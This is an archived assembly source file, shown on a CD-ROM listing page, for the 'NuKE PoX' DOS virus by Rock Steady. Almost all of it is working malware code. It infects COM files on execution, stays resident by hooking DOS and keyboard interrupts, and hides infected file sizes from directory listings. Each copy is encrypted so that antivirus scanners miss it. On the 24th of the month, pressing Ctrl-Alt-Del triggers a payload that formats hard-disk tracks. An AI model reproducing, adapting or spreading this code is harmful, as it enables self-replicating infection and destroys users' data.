home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-P.ZIP / POX.ASM < prev    next >
Assembly Source File  |  1992-09-16  |  26KB  |  345 lines

  1. ;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
  2. ;-*      (c) Rock Steady, Viral Developments                             -*
  3. ;*-      (c) NuKE Software Developement  1991, 1992                      *-
  4. ;-*  Virus: NuKE PoX Version 1.0  (Alias `Mutating Rocko')               -*
  5. ;*-  ~~~~~~                                                              *-
  6. ;-*  Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness     -*
  7. ;*-  ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different   *-
  8. ;-*         Encrypted Copies of the Virus)                               -*
  9. ;*-  Bytes: 609 Bytes           Memory: (609 * 2) = 1,218 Bytes          *-
  10. ;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  11. crypt_size      equ     crypt - init_virus    ;All that gets Incrypted     
  12. virus_size      equ     last - init_virus     ;Size of the Virus           
  13. mut1            equ     3                                                  
  14. mut2            equ     1                                                  
  15. mut3            equ     103h                                               
  16. del_code        equ     53h                   ;CTRL-ATL-DEL Key            
  17. seg_a           segment byte public                                        
  18.                 assume  cs:seg_a, ds:seg_a                                 
  19.                 org     100h                                               
  20. rocko           proc    far                                                
  21.                                                                            
  22. start:          jmp     init_virus                              ;+3 bytes  
  23. ;-*-*-*-*-*-*-*-*-[Start of Virus]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  24. init_virus: call    decrypt         ;Decryption Routine Please  ;+3 Bytes  
  25.             call    doit_now        ;Doit VirusMan...           ;+3 Bytes  
  26.                                                                 ;========  
  27. doit_now:   pop     bp              ;Anything ABOVE THIS LINE     9 Bytes  
  28.             sub     bp,109h         ;have to be added to the 100h! This    
  29.             push    ax              ;SETs our `Delta Pointer'.             
  30.             push    bx                                                     
  31.             push    cx                                                     
  32.             push    dx              ;Save registers                        
  33.             push    si                                                     
  34.             push    di                                                     
  35.             push    bp                                                     
  36.             push    es                                                     
  37.             push    ds                                                     
  38.                                                                            
  39.             mov     ax,0abcdh       ;Are we resident Already?              
  40.             int     21h                                                    
  41.             cmp     bx,0abcdh       ;Yupe... Quit Then...                  
  42.             je      exit_com                                               
  43.                                                                            
  44.             push    cs              ;Get CS=DS                             
  45.             pop     ds                                                     
  46.             mov     cx,es                                                  
  47.                                                                            
  48.             mov     ax,3509h        ;Hook Int 9 Please...                  
  49.             int     21h                                                    
  50.             mov     word ptr cs:[int9+2][bp],es     ;Save Orignal Int 9h   
  51.             mov     word ptr cs:[int9][bp],bx       ;Save Orignal Int 9h   
  52.                                                                            
  53.             mov     ax,3521h        ;Some AVs may INTCEPT this Call!       
  54.             int     21h             ;May be better to go Manually...       
  55.             mov     word ptr cs:[int21+2][bp],es    ;Save the Int          
  56.             mov     word ptr cs:[int21][bp],bx      ;Vector Table          
  57.                                                                            
  58.             dec     cx                ;Get a new Memory block              
  59.             mov     es,cx             ;Put it Back to ES                   
  60.             mov     bx,es:mut1                                             
  61.             mov     dx,virus_size+virus_size ;Size to `Hide'               
  62.             mov     cl,4            ;And all this crap hides               
  63.             shr     dx,cl           ;your number of bytes in DX            
  64.             add     dx,4                                                   
  65.             mov     cx,es                                                  
  66.             sub     bx,dx                                                  
  67.             inc     cx                                                     
  68.             mov     es,cx                                                  
  69.             mov     ah,4ah          ;Call int to do it...                  
  70.             int     21h                                                    
  71.                                                                            
  72.             jc      exit_com                                               
  73.             mov     ah,48h                                                 
  74.             dec     dx                                                     
  75.             mov     bx,dx           ;It's Done... Yeah!                    
  76.             int     21h                                                    
  77.                                                                            
  78.             jc      exit_com                                               
  79.             dec     ax                                                     
  80.             mov     es,ax                                                  
  81.             mov     cx,8h           ;Here we move our Virus into           
  82.             mov     es:mut2,cx      ;the `Hidden' memory!                  
  83.             sub     ax,0fh                                                 
  84.             mov     di,mut3                                                
  85.             mov     es,ax                                                  
  86.             mov     si,bp                                                  
  87.             add     si,offset init_virus                                   
  88.             mov     cx,virus_size                                          
  89.             cld                                                            
  90.             repne   movsb                                                  
  91.                                                                            
  92.             mov     ax,2521h                ;Restore Int21 with ours       
  93.             mov     dx,offset int21_handler ;Where it starts               
  94.             push    es                                                     
  95.             pop     ds                                                     
  96.             int     21h                                                    
  97.                                                                            
  98.             mov     ax,2509h                ;Restore Int9 with ours        
  99.             mov     dx,offset int9_handler  ;The Handler...                
  100.             int     21h                                                    
  101.                                                                            
  102.             push    cs                                                     
  103.             pop     ds                                                     
  104. exit_com:                                                                  
  105.             mov     bx,offset buffer        ; Its a COM file restore       
  106.             add     bx,bp                   ; First three Bytes...         
  107.             mov     ax,[bx]                 ; Mov the Byte to AX           
  108.             mov     word ptr ds:[100h],ax   ; First two bytes Restored     
  109.             add     bx,2                    ; Get the next Byte            
  110.             mov     al,[bx]                 ; Move the Byte to AL          
  111.             mov     byte ptr ds:[102h],al   ; Restore the Last of 3 Byt    
  112.             pop     ds                                                     
  113.             pop     es                                                     
  114.             pop     bp                      ; Restore Regesters            
  115.             pop     di                                                     
  116.             pop     si                                                     
  117.             pop     dx                                                     
  118.             pop     cx                                                     
  119.             pop     bx                                                     
  120.             pop     ax                                                     
  121.             mov     ax,100h                 ; Jump Back to Beginning       
  122.             push    ax                      ; Restores our IP (a CALL      
  123.             retn                            ; Saves them, now we change    
  124. int21       dd      ?               ;Our Old Int21                         
  125. int9        dd      ?               ;Our Old Int9                          
  126. ;-*-*-*-*-*-*-*-*[Int 9h Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  127. int9_handler:                                                              
  128.             push    ax                                                     
  129.             in      al,60h          ;Has the user attempted a              
  130.             cmp     al,del_code     ;CTRL-ALT-DEL                          
  131.             je      warm_reboot     ;Yes! Screw him                        
  132. bye_bye:    pop     ax                                                     
  133.             jmp     dword ptr cs:[int9]    ;Nope, Leave alone              
  134. warm_reboot:                                                               
  135.             mov     ah,2ah             ;Get Date Please                    
  136.             int     21h                                                    
  137.             cmp     dl,18h          ;Is it 24th of the Month?              
  138.             jne     bye_bye         ;Yes, bye_Bye HD                       
  139.             mov     ch,0                                                   
  140. hurt_me:    mov     ah,05h                                                 
  141.             mov     dh,0                                                   
  142.             mov     dl,80h          ;Formats a few tracks...               
  143.             int     13h             ;Hurts So good...                      
  144.             inc     ch                                                     
  145.             cmp     ch,20h                                                 
  146.             loopne  hurt_me                                                
  147.             db      0eah,0f0h,0ffh,0ffh,0ffh  ;Reboot!                     
  148.             iret                                                           
  149. ;-*-*-*-*-*-*-*-*-[Dir Stealth Handler]-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  150. dir_handler:                                                               
  151.              pushf                                                         
  152.              push    cs                                                    
  153.              call    int21call       ;Get file Stats                       
  154.              test    al,al           ;Good FCB?                            
  155.              jnz     no_good         ;nope                                 
  156.              push    ax                                                    
  157.              push    bx                                                    
  158.              push    es                                                    
  159.              mov     ah,51h          ;Is this Undocmented? huh...          
  160.              int     21h                                                   
  161.                                                                            
  162.              mov     es,bx                                                 
  163.              cmp     bx,es:[16h]                                           
  164.              jnz     not_infected    ;Not for us man...                    
  165.              mov     bx,dx                                                 
  166.              mov     al,[bx]                                               
  167.              push    ax                                                    
  168.              mov     ah,2fh          ;Get file DTA                         
  169.              int     21h                                                   
  170.                                                                            
  171.              pop     ax                                                    
  172.              inc     al                                                    
  173.              jnz     fcb_okay                                              
  174.              add     bx,7h                                                 
  175. fcb_okay:    mov     ax,es:[bx+17h]                                        
  176.              and     ax,1fh          ;UnMask Seconds Field                 
  177.              xor     al,1dh          ;Is in 58 seconds?                    
  178.              jnz     not_infected    ;Nope...                              
  179.              and     byte ptr es:[bx+17h],0e0h                             
  180.              sub     es:[bx+1dh],virus_size    ;Yes minus virus size       
  181.              sbb     es:[bx+1fh],ax                                        
  182. not_infected:pop     es                                                    
  183.              pop     bx                                                    
  184.              pop     ax                                                    
  185. no_good:     iret                                                          
  186. ;-*-*-*-*-*-*-*-*[Int 21h Handler]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  187. int21_handler:                                                             
  188.              cmp     ax,4b00h        ;File executed                        
  189.              je      execute                                               
  190.              cmp     ah,11h          ;Dir handler                          
  191.              je      dir_handler                                           
  192.              cmp     ah,12h          ;Next file Dir handler                
  193.              je      dir_handler                                           
  194.              cmp     ax,0abcdh       ;Virus testing                        
  195.              jne     int21call                                             
  196.              mov     bx,0abcdh                                             
  197. int21call:                                                                 
  198.              jmp     dword ptr cs:[int21] ;Split...                        
  199.              ret                                                           
  200. execute:                                                                   
  201.              push    ax                                                    
  202.              push    bx                                                    
  203.              push    cx                                                    
  204.              push    dx                                                    
  205.              push    si                                                    
  206.              push    di                                                    
  207.              push    es                                                    
  208.              push    ds                                                    
  209.                                                                            
  210.              mov     ax,4300h                ;Get file Attribs             
  211.              int     21h                                                   
  212.              jc      exit                                                  
  213.                                                                            
  214.              test    cl,1h                   ;Make sure there normal       
  215.              jz      open_file               ;Okay there are               
  216.              and     cl,0feh                 ;Nope, Fix them...            
  217.              mov     ax,4301h                ;Save them now                
  218.              int     21h                                                   
  219.              jc      exit                                                  
  220.                                                                            
  221. open_file:   mov     ax,3D02h                                              
  222.              int     21h                     ;Open File to Infect please   
  223.                                                                            
  224.              jc      exit                   ;Error Split                   
  225.              mov     bx,ax                   ;BX File handler              
  226.              mov     ax,5700h                ;Get file TIME + DATE         
  227.              int     21h                                                   
  228.                                                                            
  229.              mov     al,cl                                                 
  230.              or      cl,1fh                  ;Un mask Seconds              
  231.              dec     cx                      ;60 seconds                   
  232.              dec     cx                      ;58 seconds                   
  233.              xor     al,cl                   ;Is it 58 seconds?            
  234.              jz      exit                   ;File already infected         
  235.                                                                            
  236.              push    cs                                                    
  237.              pop     ds                                                    
  238.              mov     word ptr ds:[old_time],cx       ;Save Time            
  239.              mov     word ptr ds:[old_date],dx       ;Save Date            
  240.                                                                            
  241.              mov     ah,3Fh                                                
  242.              mov     cx,3h                                                 
  243.              mov     dx,offset ds:[buffer]   ;Read first 3 bytes           
  244.              int     21h                                                   
  245.                                                                            
  246.              jc      exit_now                   ;Error Split               
  247.              mov     ax,4202h                   ;Move file pointer to end  
  248.              xor     cx,cx                      ;of file...                
  249.              xor     dx,dx                                                 
  250.              int     21h                                                   
  251.                                                                            
  252.              jc      exit_now                            ;Error Split      
  253.              cmp     word ptr cs:[buffer],5A4Dh          ;Is file an EXE?  
  254.              je      exit                                ;Yupe! Split      
  255.              mov     cx,ax                                                 
  256.              sub     cx,3                                ;Set the JMP      
  257.              mov     word ptr cs:[jump_address+1],cx                       
  258.              call    infect_me                           ;Infect!          
  259.              jc      exit_now                            ;error split      
  260.              mov     ah,40h                         ;Write back the first 3
  261.              mov     dx,offset ds:[jump_address]    ;bytes                 
  262.              mov     cx,3h                                                 
  263.              int     21h                                                   
  264. exit_now:                                                                  
  265.              mov     cx,word ptr cs:[old_time]      ;Restore old time      
  266.              mov     dx,word ptr cs:[old_date]      ;Restore Old date      
  267.              mov     ax,5701h                                              
  268.              int     21h                                                   
  269.                                                                            
  270.              mov     ah,3Eh                                                
  271.              int     21h                     ;Close File now...            
  272. exit:                                                                      
  273.              pop     ds                                                    
  274.              pop     es                                                    
  275.              pop     di                                                    
  276.              pop     si                                                    
  277.              pop     dx                                                    
  278.              pop     cx                                                    
  279.              pop     bx                                                    
  280.              pop     ax                                                    
  281.              jmp     dword ptr cs:[int21]     ;Jmp back to whatever        
  282. rocko        endp                                                          
  283. ;-*-*-*-*-*-*-*-*-*[Infection Routine]*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
  284. infect_me    proc    near                                                  
  285.              mov     ah,2ch                  ;Get Time                     
  286.              int     21h                                                   
  287.              push    dx                      ;Split seconds to AX          
  288.              pop     ax                                                    
  289.              mov     byte ptr cs:[value],al  ;AL = 0 to 99                 
  290.                                              ;New Encryption Value         
  291.              mov     cx,virus_size                                         
  292.              push    cs                                                    
  293.              pop     es                      ;Copy ANOTHER copy of the     
  294.              mov     si,offset init_virus    ;Virus to the end of us       
  295.              mov     di,offset last                                        
  296.              repne   movsb                                                 
  297.                                                                            
  298.              mov     cx,crypt_size                                         
  299.              sub     cx,3h                   ;Encrypt that 2nd copy!       
  300.              push    bp                                                    
  301.              mov     bp,offset last + 3h                                   
  302.              call    decrypt_encrypt                                       
  303.              pop     bp                                                    
  304.                                                                            
  305.              mov     ah,40h                  ;Write the New Encrypted      
  306.              mov     dx,offset last          ;Virus to File!               
  307.              mov     cx,virus_size                                         
  308.              int     21h                                                   
  309.                                                                            
  310.              jc      exit_error                   ;Error Split             
  311.              mov     ax,4200h                                              
  312.              xor     cx,cx                   ;Pointer back to beginning    
  313.              xor     dx,dx                   ;file!                        
  314.              int     21h                                                   
  315.                                                                            
  316.              jc      exit_error                   ;Split Dude...           
  317.              clc                             ;Clear carry flag             
  318.              retn                                                          
  319. exit_error:                                                                
  320.              stc                             ;Set carry flag               
  321.              retn                                                          
  322. infect_me    endp                                                          
  323. old_time       dw      ?                                                   
  324. old_date       dw      ?                                                   
  325. jump_address   db      0E9h,90h,90h                                        
  326. buffer         db      90h,0CDh,020h                                       
  327. crypt:                                                                     
  328. msgs           db      "(c) Rock Steady/NuKE"   ;No other than `Moi'...    
  329. ;-*-*-*-*[Simple BUT EFFECTIVE Encryption/Decryption Routine]-*-*-*-*-*-*- 
  330. decrypt      proc    near                                                  
  331.              pop     bp                                                    
  332.              push    bp                                                    
  333.              mov     al,byte ptr [value-106h][bp]    ;Get new Encryption   
  334.              mov     cx,crypt_size                   ;Value                
  335. decrypt_encrypt:                                                           
  336.              xor     cs:[bp],al             ;Fuck Scanners and put a       
  337.              inc     bp                     ;`NOT AL' anywhere here...     
  338.              loop    decrypt_encrypt                                       
  339.              retn                                                          
  340. value        db      00h             ;Encryption value!                    
  341. decrypt      endp                                                          
  342. last:                                                                      
  343. seg_a        ends                                                          
  344.              end     start                                                 
  345.